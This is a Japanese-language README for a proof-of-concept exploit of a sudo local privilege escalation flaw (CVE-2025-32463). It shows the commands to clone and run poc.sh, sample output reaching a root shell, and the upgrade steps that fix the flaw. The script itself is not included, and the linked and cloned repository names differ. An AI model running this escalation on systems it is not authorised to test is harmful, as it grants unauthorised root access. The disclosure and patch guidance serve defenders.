
このリポジトリには、Rich Mirch によって発見された sudo のローカル権限昇格の脆弱性 CVE-2025-32463 の概念実証(PoC)エクスプロイトが含まれています。
https://github.com/kh4sh3i/CVE-2025-32463
この PoC は教育目的および許可を得たテスト目的のみを対象としています。所有していないシステム、または明示的な許可を得ずに評価するシステムでは、このコードを使用しないでください。
git clone https://github.com/zinzloun/CVE-2025-32463.git
cd CVE-2025-32463
現在のユーザーが低い権限を持っているか確認します
:~/CVE-2025-32463$ id
uid=1001(poc) gid=1001(poc) groups=1001(poc),100(users)
要件を確認します
:~/CVE-2025-32463$ sudo --version
Sudo version 1.9.15p5
...
:~/CVE-2025-32463$ ls -al /etc/nsswitch.conf
-rw-r--r-- 1 root root 526 Feb 16 20:57 /etc/nsswitch.conf
エクスプロイトを実行します
:~/CVE-2025-32463$ chmod +x poc.sh && ./poc.sh
woot!
root@ubutes01:/# id
uid=0(root) gid=0(root) groups=0(root),100(users),1001(poc)
ネットワークに接続されたシステムの場合、次のコマンドを実行するだけです
sudo apt update && sudo apt upgrade
エアギャップ環境のシステムの場合:最新の sudo パッケージは、https://github.com/sudo-project/sudo/releases/download/v1.9.17p1/sudo_1.9.17-2_ubu2404_amd64.deb から入手できます。パッケージを対象システムに転送したら、次のコマンドを実行するだけです:
sudo dpkg -i sudo_1.9.17-2_ubu2404_amd64.deb